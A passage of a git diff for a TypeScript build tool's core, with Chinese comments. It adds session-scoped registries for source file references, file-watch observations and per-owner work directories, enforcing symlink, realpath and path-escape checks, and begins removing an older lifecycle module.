${MAX_SOURCE_READ_LIMIT}.`); + return value; +} + +/** SourceRef 使用 BuildSession WeakMap identity 实现的私有 Registry。 */ +export class SourceRegistry { + /** 当前 BuildSession 的共享存活和身份边界。 */ + readonly #scope: BuildSessionScope; + /** 所有安全报告路径的解析根。 */ + readonly #projectRoot: string; + /** Directory/File Ref 的不可伪造对象身份记录。 */ + readonly #records = new WeakMap(); + /** 已签发来源的 exact/case/NFC 冲突索引。 */ + readonly #collisions = new SourcePathCollisionRegistry(); + + /** + * 创建当前 BuildSession 唯一的 Source Registry。 + * + * @param scope 当前 BuildSession capability scope。 + * @param projectRoot 工程绝对根目录。 + */ + constructor(scope: BuildSessionScope, projectRoot: string) { + this.#scope = scope; + this.#projectRoot = path.resolve(projectRoot); + } + + /** + * 登记一个 Author Source root 并为 owner 签发 DirectoryRef。 + * + * @param owner 由 Kernel 固定的 Resource owner。 + * @param physicalRoot 已配置且位于工程内的绝对 root。 + * @returns 不暴露物理绝对路径的目录能力。 + */ + async issueRoot(owner: string, physicalRoot: string): Promise { + this.#scope.assertActive(); + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Source owner must be a non-empty string.'); + /** 所有后续授权都以真实、无符号链接的来源根为界。 */ + const root = path.resolve(physicalRoot); + if (!isInsidePath(this.#projectRoot, root)) + throw new Error('Author source root must be inside the project root.'); + await validatePhysicalEntry(this.#projectRoot, root, 'directory'); + /** root 本身也必须通过 project realpath 边界。 */ + const projectReal = await fs.realpath(this.#projectRoot); + /** 来源根真实路径用于复核系统级祖先 symlink 后的边界。 */ + const rootReal = await fs.realpath(root); + if (!isInsidePath(projectReal, rootReal)) + throw new Error('Author source root realpath escapes the project root.'); + return this.#issue(owner, 'directory', root, root, projectReportPath(this.#projectRoot, root)) as SourceDirectoryRef; + } + + /** + * 为一个已验证来源签发对象身份 ref。 + * + * @param owner 来源 owner。 + * @param type 最终来源类型。 + * @param root 授权物理根。 + * @param physicalPath 来源绝对路径。 + * @param reportPath 安全工程相对路径。 + * @returns 冻结且不包含绝对路径的 ref。 + */ + #issue( + owner: string, + type: 'file' | 'directory', + root: string, + physicalPath: string, + reportPath: string, + fingerprint?: { readonly size: number; readonly sha256: string }, + ): SourceDirectoryRef | SourceFileRef { + this.#reserveCollision(reportPath, physicalPath); + /** 公开 ref 只保留 kind 与安全报告路径;类型品牌在编译期存在。 */ + const reference = Object.freeze({ kind: type === 'file' ? 'source-file' as const : 'source-directory' as const, path: reportPath }); + this.#records.set(reference, Object.freeze({ + owner, + type, + root, + physicalPath, + reportPath, + session: this.#scope.token, + ...(fingerprint === undefined ? {} : fingerprint), + })); + return reference as SourceDirectoryRef | SourceFileRef; + } + + /** + * 登记来源路径冲突,允许同一物理路径被重复签发。 + * + * @param reportPath 工程相对路径。 + * @param physicalPath 来源绝对路径。 + */ + #reserveCollision(reportPath: string, physicalPath: string): void { + this.#collisions.reserve(reportPath, physicalPath); + } + + /** + * 解析并验证一个当前 owner 持有的 SourceRef。 + * + * @param owner 当前 Context owner。 + * @param reference 未知或 SDK ref 值。 + * @param type 期望类型。 + * @returns 当前 Registry 内部记录。 + */ + #authorize(owner: string, reference: unknown, type: SourceRecord['type']): SourceRecord { + this.#scope.assertActive(); + if (typeof reference !== 'object' || reference === null) + throw new Error('Source reference is not authorized for this BuildSession.'); + /** WeakMap lookup 是运行时授权的唯一依据。 */ + const record = this.#records.get(reference); + if (record === undefined || record.session !== this.#scope.token || record.owner !== owner || record.type !== type) + throw new Error('Source reference is not authorized for this owner and BuildSession.'); + return record; + } + + /** + * 检查文件 ref 并返回 Registry 内部安全记录。 + * + * @param owner 当前 Context owner。 + * @param file 待检查文件 ref。 + * @returns 已验证文件内部记录。 + */ + authorizeFile(owner: string, file: SourceFileRef): Readonly { + return this.#authorize(owner, file, 'file'); + } + + /** + * 检查目录 ref 并返回 Registry 内部安全记录。 + * + * @param owner 当前 Context owner。 + * @param directory 待检查目录 ref。 + * @returns 已验证目录内部记录。 + */ + authorizeDirectory(owner: string, directory: SourceDirectoryRef): Readonly { + return this.#authorize(owner, directory, 'directory'); + } + + /** + * 在 Compiler/Materializer 消费前复核 FileRef 内容指纹。 + * + * @param owner 当前 Core Host owner。 + * @param file 待复核文件 ref。 + * @returns 指纹和物理边界均未变化的内部记录。 + */ + async validatedFile(owner: string, file: SourceFileRef): Promise> { + /** FileRef 对应的已授权内部记录。 */ + const record = this.#authorize(owner, file, 'file'); + await validatePhysicalEntry(record.root, record.physicalPath, 'file'); + /** 重新流式计算指纹,不受 SDK 单次读取上限影响。 */ + const fingerprint = await sourceFingerprint(record.physicalPath); + if (record.size !== fingerprint.size || record.sha256 !== fingerprint.sha256) + throw new Error(`Source file changed after its reference was issued: "${record.reportPath}".`); + return record; + } + + /** + * 在 Compiler 读取前递归拒绝授权作者树中的 symlink 和特殊文件。 + * + * @param owner 当前 Core Host owner。 + * @param directory 待复核目录 ref。 + * @returns 完整树通过物理边界检查时完成。 + */ + async validateTree(owner: string, directory: SourceDirectoryRef): Promise { + /** DirectoryRef 对应的已授权内部记录。 */ + const record = this.#authorize(owner, directory, 'directory'); + await this.#validateRecordTree(record); + } + + /** + * 在 Compiler 消费文件入口前复核其完整授权根。 + * + * @param owner 当前 Core Host owner。 + * @param file 已签发精确文件 ref。 + * @returns 授权根完整通过 symlink/特殊文件检查时完成。 + */ + async validateFileTree(owner: string, file: SourceFileRef): Promise { + /** FileRef 授权根对应的内部记录。 */ + const record = this.#authorize(owner, file, 'file'); + await this.#validateRecordTree(record); + } + + /** + * 递归检查一个已授权 Source 记录的整个物理根。 + * + * @param record 已通过 owner/Session/ref identity 授权的记录。 + */ + async #validateRecordTree(record: SourceRecord): Promise { + /** 递归枚举只做物理校验,不签发新的可观察 ref。 */ + const visit = async (directoryPath: string): Promise => { + /** 当前目录中按 code point 排序的物理目录项。 */ + const entries = (await fs.readdir(directoryPath, { withFileTypes: true })) + .sort((left, right) => compareCodePoints(left.name, right.name)); + for (const entry of entries) { + /** 当前目录项的物理绝对路径。 */ + const candidate = path.join(directoryPath, entry.name); + /** 当前目录项的安全工程相对路径。 */ + const reportPath = projectReportPath(this.#projectRoot, candidate); + /** 完整树验证同时建立 case/NFC 冲突索引,避免 Provider 枚举时才失败。 */ + this.#reserveCollision(reportPath, candidate); + if (entry.isSymbolicLink()) + throw new Error(`Author source trees must not contain symbolic links at "${reportPath}".`); + if (!entry.isFile() && !entry.isDirectory()) + throw new Error(`Author source trees must contain only regular files and directories at "${reportPath}".`); + await validatePhysicalEntry(record.root, candidate, entry.isFile() ? 'file' : 'directory'); + if (entry.isDirectory()) + await visit(candidate); + } + }; + await validatePhysicalEntry(record.root, record.root, 'directory'); + await visit(record.root); + } + + /** + * 为 owner 创建闭包绑定的 SDK SourceService。 + * + * @param owner 当前 Extension 或 Framework Resource owner。 + * @returns 不允许调用方自报 owner 的受限服务。 + */ + service(owner: string): SourceService { + /** 显式接口注解为对象方法提供 SDK 参数的上下文类型。 */ + const service: SourceService = { + /** 枚举一个已授权目录。 */ + list: (directory, options) => this.#list(owner, directory, options), + /** 为目录后代签发精确文件 ref。 */ + file: (directory, relativePath) => this.#file(owner, directory, relativePath), + /** 为目录后代签发精确目录 ref。 */ + directory: (directory, relativePath) => this.#directory(owner, directory, relativePath), + /** 在固定上限内复制来源文件字节。 */ + read: (file, options) => this.#read(owner, file, options), + /** 在固定上限内以严格 UTF-8 解码来源文件。 */ + readText: (file, options) => this.#readText(owner, file, options), + }; + return Object.freeze(service); + } + + /** + * 解析安全目录后代路径。 + * + * @param record 已授权父目录记录。 + * @param relativePath 调用方提交的 POSIX 相对路径。 + * @returns 物理路径与安全报告路径。 + */ + #descendant(record: SourceRecord, relativePath: string): { readonly physicalPath: string; readonly reportPath: string } { + /** 先按公开语法规则拒绝模糊路径。 */ + const safe = safeRelativePath(relativePath); + /** 逐 segment 使用宿主 path API 建立物理候选。 */ + const physicalPath = path.join(record.physicalPath, ...safe.split('/')); + if (!isInsidePath(record.root, physicalPath)) + throw new Error('Source path escapes its authorized root.'); + return Object.freeze({ physicalPath, reportPath: projectReportPath(this.#projectRoot, physicalPath) }); + } + + /** + * 签发一个目录后代文件 ref。 + * + * @param owner 当前 service owner。 + * @param directory 已授权父目录。 + * @param relativePath 相对父目录的安全路径。 + * @returns 当前 Session 的 SourceFileRef。 + */ + async #file(owner: string, directory: SourceDirectoryRef, relativePath: string): Promise { + /** 父目录必须是当前 owner 在本 Session 收到的原始 ref。 */ + const record = this.#authorize(owner, directory, 'directory'); + /** 后代路径解析不会暴露到公开结果。 */ + const descendant = this.#descendant(record, relativePath); + await validatePhysicalEntry(record.root, descendant.physicalPath, 'file'); + /** FileRef 签发时固定内容指纹,后续读取和 Asset 转换必须一致。 */ + const fingerprint = await sourceFingerprint(descendant.physicalPath); + return this.#issue(owner, 'file', record.root, descendant.physicalPath, descendant.reportPath, fingerprint) as SourceFileRef; + } + + /** + * 签发一个目录后代目录 ref。 + * + * @param owner 当前 service owner。 + * @param directory 已授权父目录。 + * @param relativePath 相对父目录的安全路径。 + * @returns 当前 Session 的 SourceDirectoryRef。 + */ + async #directory(owner: string, directory: SourceDirectoryRef, relativePath: string): Promise { + /** 父目录必须是当前 owner 在本 Session 收到的原始 ref。 */ + const record = this.#authorize(owner, directory, 'directory'); + /** 后代路径解析不会暴露到公开结果。 */ + const descendant = this.#descendant(record, relativePath); + await validatePhysicalEntry(record.root, descendant.physicalPath, 'directory'); + return this.#issue(owner, 'directory', record.root, descendant.physicalPath, descendant.reportPath) as SourceDirectoryRef; + } + + /** + * 稳定枚举目录中的普通文件和目录。 + * + * @param owner 当前 service owner。 + * @param directory 已授权目录。 + * @param options 是否递归枚举全部后代。 + * @returns 按 Unicode code point 路径排序的 SourceEntry。 + */ + async #list( + owner: string, + directory: SourceDirectoryRef, + options: { readonly recursive?: boolean } | undefined, + ): Promise { + /** 枚举只能从当前 owner 的原始 DirectoryRef 开始。 */ + const record = this.#authorize(owner, directory, 'directory'); + if (options !== undefined && (typeof options !== 'object' || options === null || Array.isArray(options) + || Object.keys(options).some(field => field !== 'recursive') || (options.recursive !== undefined && typeof options.recursive !== 'boolean'))) { + throw new Error('Source list options are invalid.'); + } + await validatePhysicalEntry(record.root, record.physicalPath, 'directory'); + /** 当前枚举累计的后代 entry。 */ + const results: SourceEntry[] = []; + /** + * 递归枚举一个目录并签发其直接子项。 + * + * @param current 当前物理目录。 + */ + const visit = async (current: string): Promise => { + /** readdir 结果先按 code point name 排序,再由最终完整 path 排序。 */ + const entries = (await fs.readdir(current, { withFileTypes: true })).sort((left, right) => compareCodePoints(left.name, right.name)); + for (const entry of entries) { + /** 当前子项的绝对物理路径。 */ + const physicalPath = path.join(current, entry.name); + /** 当前子项的安全工程相对报告路径。 */ + const reportPath = projectReportPath(this.#projectRoot, physicalPath); + if (entry.isSymbolicLink()) + throw new Error(`Author source trees must not contain symbolic links at "${reportPath}".`); + if (!entry.isFile() && !entry.isDirectory()) + throw new Error(`Author source trees must contain only regular files and directories at "${reportPath}".`); + await validatePhysicalEntry(record.root, physicalPath, entry.isFile() ? 'file' : 'directory'); + if (entry.isFile()) { + /** 文件 entry 包含当前 owner 的精确 file ref。 */ + const file = this.#issue(owner, 'file', record.root, physicalPath, reportPath, await sourceFingerprint(physicalPath)) as SourceFileRef; + results.push(Object.freeze({ type: 'file', name: entry.name, path: reportPath, file })); + } else { + /** 目录 entry 包含当前 owner 的精确 directory ref。 */ + const child = this.#issue(owner, 'directory', record.root, physicalPath, reportPath) as SourceDirectoryRef; + results.push(Object.freeze({ type: 'directory', name: entry.name, path: reportPath, directory: child })); + if (options?.recursive === true) + await visit(physicalPath); + } + } + }; + await visit(record.physicalPath); + return Object.freeze(results.sort((left, right) => compareCodePoints(left.path, right.path))); + } + + /** + * 复制一个已授权普通来源文件。 + * + * @param owner 当前 service owner。 + * @param file 已授权文件 ref。 + * @param options 可选读取上限。 + * @returns 不与文件系统共享的 Uint8Array 副本。 + */ + async #read( + owner: string, + file: SourceFileRef, + options: { readonly maxBytes?: number } | undefined, + ): Promise { + /** 读取只能使用当前 owner 的原始 FileRef。 */ + const record = this.#authorize(owner, file, 'file'); + /** 单次读取始终受 Core 最大值约束。 */ + const limit = readLimit(options?.maxBytes); + /** lstat/realpath 在每次读取前重新检查,阻断签发后的替换。 */ + const stat = await validatePhysicalEntry(record.root, record.physicalPath, 'file'); + if (stat.size > limit) + throw new Error(`Source file "${record.reportPath}" exceeds the requested read limit.`); + /** readFile 的 Buffer 再复制为不共享底层存储的 Uint8Array。 */ + const bytes = await fs.readFile(record.physicalPath); + if (bytes.byteLength > limit) + throw new Error(`Source file "${record.reportPath}" exceeds the requested read limit.`); + /** 签发后的普通内容修改也必须失败,不能只检查文件类型。 */ + const sha256 = createHash('sha256').update(bytes).digest('hex'); + if (record.size !== bytes.byteLength || record.sha256 !== sha256) + throw new Error(`Source file changed after its reference was issued: "${record.reportPath}".`); + return Uint8Array.from(bytes); + } + + /** + * 使用致命 UTF-8 解码读取来源文本。 + * + * @param owner 当前 service owner。 + * @param file 已授权文件 ref。 + * @param options 可选读取上限。 + * @returns 精确 UTF-8 文本。 + */ + async #readText( + owner: string, + file: SourceFileRef, + options: { readonly maxBytes?: number } | undefined, + ): Promise { + /** fatal 解码确保无效作者文本不被静默替换为 U+FFFD。 */ + return new TextDecoder('utf-8', { fatal: true }).decode(await this.#read(owner, file, options)); + } +} diff --git a/packages/core/src/kernel/watch-registry.ts b/packages/core/src/kernel/watch-registry.ts new file mode 100644 index 0000000..dd35486 --- /dev/null +++ b/packages/core/src/kernel/watch-registry.ts @@ -0,0 +1,254 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { BuildSessionScope } from './build-session-scope.js'; +import { compareCodePoints, isInsidePath, projectReportPath, sourceCollisionKey } from './path-policy.js'; + +/** Host 向唯一 Watch Registry 提交的单个物理观察。 */ +export interface WatchObservation { + readonly path: string; + readonly type: 'file' | 'directory'; + readonly identity?: string; + readonly pending?: boolean; +} + +/** DevSession 将物理事件映射回稳定公开 identity 的已验证 observation。 */ +export interface WatchSnapshotObservation { + readonly path: string; + readonly type: 'file' | 'directory'; + readonly identity: string; + readonly pending: boolean; +} + +/** DevSession 内部可消费的不可变 watch 快照。 */ +export interface WatchSnapshot { + readonly paths: readonly string[]; + readonly identities: readonly string[]; + readonly observations: readonly WatchSnapshotObservation[]; +} + +/** 单个 operation 已验证并冻结的 watch 集合。 */ +interface WatchRecord { + readonly paths: readonly string[]; + readonly identities: readonly string[]; + readonly observations: readonly WatchSnapshotObservation[]; + readonly session: object; +} + +/** Watch operation 使用的稳定 ID。 */ +const WATCH_OPERATION = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/; + +/** 外部 package observation 使用的安全 identity。 */ +const EXTERNAL_IDENTITY = /^package:(?:@[a-z0-9._-]+\/)?[a-z0-9._-]+@[0-9A-Za-z.+-]+(?:\/[A-Za-z0-9._/-]+)?$/; + +/** + * 校验外部 observation 的稳定逻辑 identity。 + * + * @param value 调用方 identity。 + * @returns 不含物理路径的 package identity。 + */ +function externalIdentity(value: unknown): string { + if (typeof value !== 'string' || !EXTERNAL_IDENTITY.test(value) || value.split('/').includes('..')) + throw new Error('External watch observations require a safe package identity.'); + return value; +} + +/** 把尚不存在的文件规范到最深已存在祖先的 realpath 基准。 */ +async function canonicalPendingFile(candidate: string): Promise { + /** suffix 从目标向上积累,最终按原顺序接回真实祖先。 */ + const suffix: string[] = []; + /** 当前候选从最终文件开始逐级寻找已存在祖先。 */ + let current = path.normalize(candidate); + while (true) { + /** 当前祖先的文件类型决定是否已经找到安全的真实目录基准。 */ + const stat = await fs.lstat(current).catch(() => undefined); + if (stat !== undefined) { + if (stat.isSymbolicLink() || !stat.isDirectory()) + throw new Error('Pending watch file must have a regular directory ancestor.'); + /** 已存在祖先进入真实路径基准后再接回全部未创建 segment。 */ + const real = await fs.realpath(current); + return path.join(real, ...suffix.reverse()); + } + /** 父目录用于检测文件系统根并继续向上寻找。 */ + const parent = path.dirname(current); + if (parent === current) + throw new Error('Pending watch file has no existing directory ancestor.'); + suffix.push(path.basename(current)); + current = parent; + } +} + +/** BuildSession 唯一、按 owner/operation 原子替换的 Watch Registry。 */ +export class WatchRegistry { + /** 当前 Session 的存活与 identity 边界。 */ + readonly #scope: BuildSessionScope; + /** 工程真实根,用于生成公开 change identity。 */ + readonly #projectRoot: Promise; + /** owner 到 operation 再到 immutable observations 的索引。 */ + readonly #owners = new Map>(); + + /** + * 创建当前 BuildSession 唯一 Watch Registry。 + * + * @param scope 当前 Session scope。 + * @param projectRoot 工程物理根。 + */ + constructor(scope: BuildSessionScope, projectRoot: string) { + this.#scope = scope; + this.#projectRoot = fs.realpath(path.resolve(projectRoot)); + } + + /** + * 原子替换一个 owner operation 的完整 observation 集。 + * + * @param owner Kernel 固定 owner。 + * @param operation owner 内稳定 operation ID。 + * @param observations 当前操作完整依赖集合。 + */ + async replace(owner: string, operation: string, observations: readonly WatchObservation[]): Promise { + this.#scope.assertActive(); + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Watch owner must be a non-empty string.'); + if (!WATCH_OPERATION.test(operation)) + throw new Error('Watch operation must be a stable lowercase identifier.'); + if (!Array.isArray(observations)) + throw new Error('Watch observations must be an array.'); + /** 相同 physical file 只能对应一个逻辑 identity。 */ + const entries = new Map(); + /** realpath 后的 observation type 与 path/identity 同步保存。 */ + const entryTypes = new Map(); + /** pending 状态决定 DevSession readiness 与首次 add 事件语义。 */ + const entryPending = new Map(); + /** 相同逻辑 identity 也只能指向一个物理文件。 */ + const identityFiles = new Map(); + /** Dev change identity 采用与输出相同的 case/NFC 歧义规则。 */ + const collisionKeys = new Map(); + /** 系统临时目录祖先可能是 symlink,因此工程根也统一使用 realpath。 */ + const projectRoot = await this.#projectRoot; + for (const observation of [...observations]) { + if (typeof observation !== 'object' || observation === null + || Object.keys(observation).some(field => field !== 'path' && field !== 'type' && field !== 'identity' && field !== 'pending')) { + throw new Error('Watch observation must contain path, type and optional identity/pending state.'); + } + if (typeof observation.path !== 'string' || !path.isAbsolute(observation.path) || observation.path.includes('\0')) + throw new Error('Watch observation path must be absolute.'); + if (observation.type !== 'file' && observation.type !== 'directory') + throw new Error('Watch observation type must be file or directory.'); + if (observation.pending !== undefined && typeof observation.pending !== 'boolean') + throw new Error('Watch observation pending state must be boolean.'); + /** 最终路径本身不能是 symlink;package manager 的祖先链接仍被允许。 */ + const direct = await fs.lstat(observation.path).catch(() => undefined); + /** 调用方声明 pending 但文件已出现时直接升级为普通 observation。 */ + const pending = direct === undefined && observation.pending === true; + if (direct === undefined && !pending) { + throw new Error(`Watch observation must reference a regular ${observation.type}.`); + } + if (pending && observation.type !== 'file') + throw new Error('Only file watch observations may be pending.'); + if (direct !== undefined && (direct.isSymbolicLink() + || (observation.type === 'file' ? !direct.isFile() : !direct.isDirectory()))) { + throw new Error(`Watch observation must reference a regular ${observation.type}.`); + } + /** existing 与 pending 两条路径最终都进入真实祖先的同一规范基准。 */ + const real = pending ? await canonicalPendingFile(observation.path) : await fs.realpath(observation.path); + if (!pending) { + /** realpath 目标的最终普通文件状态。 */ + const stat = await fs.lstat(real).catch(() => undefined); + if (stat === undefined || stat.isSymbolicLink() + || (observation.type === 'file' ? !stat.isFile() : !stat.isDirectory())) { + throw new Error(`Watch observation must reference a regular ${observation.type}.`); + } + } + /** 显式 package identity 在 node_modules 位于工程内时也不能退化为物理路径。 */ + const identity = observation.identity === undefined + ? isInsidePath(projectRoot, real) + ? projectReportPath(projectRoot, real) || '.' + : externalIdentity(undefined) + : externalIdentity(observation.identity); + /** 当前物理路径已登记的可选先前 identity。 */ + const previous = entries.get(real); + if (previous !== undefined && previous !== identity) + throw new Error('One watch file must not have multiple logical identities.'); + /** 一个 identity 指向多个 store copy 会让 change event 变得含糊。 */ + const previousFile = identityFiles.get(identity); + if (previousFile !== undefined && previousFile !== real) + throw new Error('One watch identity must not reference multiple files.'); + /** 大小写或 Unicode 归一化后相同的 identity 同样拒绝。 */ + const collision = sourceCollisionKey(identity); + /** 当前折叠键已占用的原始 identity。 */ + const previousIdentity = collisionKeys.get(collision); + if (previousIdentity !== undefined && previousIdentity !== identity) + throw new Error('Watch identities contain a case or Unicode normalization collision.'); + entries.set(real, identity); + entryTypes.set(real, observation.type); + entryPending.set(real, pending); + identityFiles.set(identity, real); + collisionKeys.set(collision, identity); + } + /** physical file 与公开 identity 分别稳定排序。 */ + const paths = Object.freeze([...entries.keys()].sort(compareCodePoints)); + /** 对外变更 identity 去重后的稳定集合。 */ + const identities = Object.freeze([...new Set(entries.values())].sort(compareCodePoints)); + /** path/identity/type 关系由 DevSession 保留,不能退化为两个无关数组。 */ + const snapshotObservations = Object.freeze([...entries.entries()] + .sort(([left], [right]) => compareCodePoints(left, right)) + .map(([observedPath, identity]) => Object.freeze({ + path: observedPath, + identity, + type: entryTypes.get(observedPath)!, + pending: entryPending.get(observedPath)!, + }))); + /** 当前 owner 已存在或新建的 operation map。 */ + const operations = this.#owners.get(owner) ?? new Map(); + operations.set(operation, Object.freeze({ paths, identities, observations: snapshotObservations, session: this.#scope.token })); + this.#owners.set(owner, operations); + } + + /** + * 删除已不再存在的 owner operation watch 集。 + * + * @param owner 当前 operation owner。 + * @param operation 稳定 operation ID。 + */ + remove(owner: string, operation: string): void { + this.#scope.assertActive(); + this.#owners.get(owner)?.delete(operation); + } + + /** + * 返回当前 Session 全部 owner/operation 合并后的不可变快照。 + * + * @returns 物理 watcher 输入和安全 change identities。 + */ + snapshot(): WatchSnapshot { + this.#scope.assertActive(); + /** 所有有效 record 合并去重。 */ + const paths = new Set(); + /** 所有公开安全 change identities 的并集。 */ + const identities = new Set(); + /** 物理 path 与公开 identity/type 的完整映射。 */ + const observations = new Map(); + for (const operations of this.#owners.values()) { + for (const record of operations.values()) { + if (record.session !== this.#scope.token) + throw new Error('Watch observation belongs to another BuildSession.'); + for (const observedPath of record.paths) + paths.add(observedPath); + for (const identity of record.identities) + identities.add(identity); + for (const observation of record.observations) { + /** 跨 owner operation 的相同物理路径也必须保持同一 identity/type。 */ + const previous = observations.get(observation.path); + if (previous !== undefined && (previous.identity !== observation.identity || previous.type !== observation.type + || previous.pending !== observation.pending)) + throw new Error('One watch file must not have multiple logical observations.'); + observations.set(observation.path, observation); + } + } + } + return Object.freeze({ + paths: Object.freeze([...paths].sort(compareCodePoints)), + identities: Object.freeze([...identities].sort(compareCodePoints)), + observations: Object.freeze([...observations.values()].sort((left, right) => compareCodePoints(left.path, right.path))), + }); + } +} diff --git a/packages/core/src/kernel/work-directories.ts b/packages/core/src/kernel/work-directories.ts new file mode 100644 index 0000000..403d874 --- /dev/null +++ b/packages/core/src/kernel/work-directories.ts @@ -0,0 +1,121 @@ +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { BuildSessionScope } from './build-session-scope.js'; +import { isInsidePath, safeRelativePath, validatePhysicalEntry } from './path-policy.js'; + +/** WorkDirectoryRegistry 私有的不可伪造目录句柄。 */ +export interface WorkDirectoryHandle { + readonly kind: 'work-directory'; +} + +/** Work directory 句柄对应的内部授权记录。 */ +interface WorkDirectoryRecord { + readonly owner: string; + readonly directory: string; + readonly session: object; +} + +/** Core 为每个 owner 管理唯一临时工作目录的私有 Registry。 */ +export class WorkDirectoryRegistry { + /** 当前 BuildSession 的共享存活与身份边界。 */ + readonly #scope: BuildSessionScope; + /** 所有 owner workDir 的唯一物理父目录。 */ + readonly #root: string; + /** 已签发句柄的对象身份记录。 */ + readonly #records = new WeakMap(); + /** 每个 owner 恰好一个工作目录。 */ + readonly #owners = new Map(); + + /** + * 创建一个只属于当前 BuildSession 的 WorkDir Registry。 + * + * @param scope 当前 BuildSession capability scope。 + * @param root Core 已创建的临时根目录。 + */ + constructor(scope: BuildSessionScope, root: string) { + this.#scope = scope; + this.#root = path.resolve(root); + } + + /** + * 为 owner 创建或返回其唯一工作目录句柄。 + * + * @param owner 由 Kernel 固定的稳定 owner。 + * @returns 不暴露物理路径的私有句柄。 + */ + async directory(owner: string): Promise { + this.#scope.assertActive(); + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Work directory owner must be a non-empty string.'); + /** 同一 owner 重复请求必须观察相同授权身份。 */ + const existing = this.#owners.get(owner); + if (existing !== undefined) + return existing; + await fs.mkdir(this.#root, { recursive: true, mode: 0o700 }); + /** owner hash 避免把任意 owner 文本直接解释为路径。 */ + const directory = path.join(this.#root, createHash('sha256').update(owner).digest('hex')); + await fs.mkdir(directory, { recursive: false, mode: 0o700 }); + /** 公开句柄只有无路径语义的 kind。 */ + const handle = Object.freeze({ kind: 'work-directory' as const }); + this.#records.set(handle, Object.freeze({ owner, directory, session: this.#scope.token })); + this.#owners.set(owner, handle); + return handle; + } + + /** + * 解析 owner workDir 内的 Core 私有相对路径。 + * + * @param owner 当前 Context 绑定的 owner。 + * @param handle 当前 owner 的目录句柄。 + * @param relative 待解析的安全 POSIX 路径。 + * @returns 仍位于当前 workDir 内的绝对路径。 + */ + resolve(owner: string, handle: WorkDirectoryHandle, relative: string): string { + this.#scope.assertActive(); + /** 只有当前 Registry WeakMap 中的原始对象才是有效句柄。 */ + const record = this.#records.get(handle); + if (record === undefined || record.session !== this.#scope.token || record.owner !== owner) + throw new Error('Work directory handle is not authorized for this owner and BuildSession.'); + /** 物理解析前先拒绝路径语法歧义。 */ + const safe = safeRelativePath(relative); + /** POSIX 作者路径按宿主分隔符逐 segment 拼接。 */ + const candidate = path.join(record.directory, ...safe.split('/')); + if (!isInsidePath(record.directory, candidate)) + throw new Error('Work directory path escapes its owner root.'); + return candidate; + } + + /** + * 为 Core Host 返回已授权 owner workDir 的物理根。 + * + * @param owner 当前 Host owner。 + * @param handle 当前 owner 的不可伪造句柄。 + * @returns 仅 Core 私有实现可见的绝对根路径。 + */ + physicalRoot(owner: string, handle: WorkDirectoryHandle): string { + this.#scope.assertActive(); + /** WeakMap 记录同时复核 owner、Session 与对象 identity。 */ + const record = this.#records.get(handle); + if (record === undefined || record.session !== this.#scope.token || record.owner !== owner) + throw new Error('Work directory handle is not authorized for this owner and BuildSession.'); + return record.directory; + } + + /** + * 验证一个生成文件确实来自指定 owner 的 workDir。 + * + * @param owner 当前生成操作 owner。 + * @param handle owner workDir 句柄。 + * @param relative workDir-relative 生成文件路径。 + * @returns 已验证普通文件的绝对路径和授权根。 + */ + async generatedFile(owner: string, handle: WorkDirectoryHandle, relative: string): Promise<{ readonly file: string; readonly root: string }> { + /** resolve 同时完成 Session、owner 和对象身份验证。 */ + const file = this.resolve(owner, handle, relative); + /** 重新读取授权记录以取得不向 Integration 暴露的物理根。 */ + const record = this.#records.get(handle)!; + await validatePhysicalEntry(record.directory, file, 'file'); + return Object.freeze({ file, root: record.directory }); + } +} diff --git a/packages/core/src/lifecycle.ts b/packages/core/src/lifecycle.ts deleted file mode 100644 index 19b8157..0000000 --- a/packages/core/src/lifecycle.ts +++ /dev/null @@ -1,793 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { - CompatibilityCollector, - type CompatibilityDependency, - DiagnosticCollector, - MetadataDispositionCollector, - sanitizeReportText, - type ReportRedactionOptions, -} from './diagnostics.js'; -import type { ArtifactSourcePolicies, ArtifactSourcePolicy } from './artifacts.js'; -import { DeliveryUnitRegistry } from './delivery-units.js'; -import { PlatformDraftRegistry } from './documents.js'; -import { normalizeOutputPath } from './output-paths.js'; -import { createBuildResult } from './reports.js'; -import { scanProject } from './scanner.js'; -import { - commitDeliveryUnits, - validateDeliveryUnitMaterialization, - withMaterializedDeliveryUnitCandidate, -} from './transaction.js'; -import type { - AcpluginExtension, - BuildEndContext, - BuildFailureSummary, - CompatibilityInput, - ConfigResolvedContext, - DiagnosticInput, - DeliveryUnit, - DocumentAddPatch, - ExtensionDescription, - MetadataDispositionInput, - PlatformAdapterContext, - PlatformDescription, -} from './contracts.js'; -import type { - ArtifactInput, - BuildResult, - ComponentReport, - DeliveryUnitReport, - DocumentReport, - PluginProject, - ResolvedConfig, - ResolvedPlatform, - TypeScriptModuleLoader, -} from './types.js'; - -/** 调用最终固定生命周期所需的已解析依赖。 */ -export interface LifecycleRequest { - readonly config: ResolvedConfig; - readonly loadTypeScriptModule: TypeScriptModuleLoader; - readonly environment?: Readonly>; - /** 是否在完整验证成功后提交 outDir;validate/inspect 调用方应保持 false。 */ - readonly commit?: boolean; - /** 接收 Extension 构建器实际读取的绝对文件,仅供 dev 建立依赖监听图。 */ - readonly onWatchFile?: (file: string) => void; -} - -/** 单个 Platform 在当前运行中的隔离状态。 */ -interface PlatformRuntime { - readonly resolved: ResolvedPlatform; - readonly workDir: string; - initialized: boolean; - active: boolean; -} - -/** 单个 Extension 的隔离目录与阶段状态。 */ -interface ExtensionRuntime { - readonly extension: AcpluginExtension; - readonly workDir: string; - initialized: boolean; - active: boolean; - discovered: unknown; - built: unknown; - hasResources: boolean; -} - -/** 逆序 buildEnd 队列中的对象类别与运行时引用。 */ -type InitializedRuntime - = { readonly kind: 'platform'; readonly runtime: PlatformRuntime } - | { readonly kind: 'extension'; readonly runtime: ExtensionRuntime }; - -/** - * 计算当前诊断集合中的错误数量。 - * - * @param diagnostics 构建共享诊断收集器。 - * @returns error 严重级别的条目数。 - */ -function errorCount(diagnostics: DiagnosticCollector): number { - return diagnostics.diagnostics.filter(diagnostic => diagnostic.severity === 'error').length; -} - -/** - * 创建固定附加 Platform 或 Extension 身份的诊断出口。 - * - * @param diagnostics 构建共享诊断收集器。 - * @param identity 当前生命周期对象身份。 - * @param defaultPhase 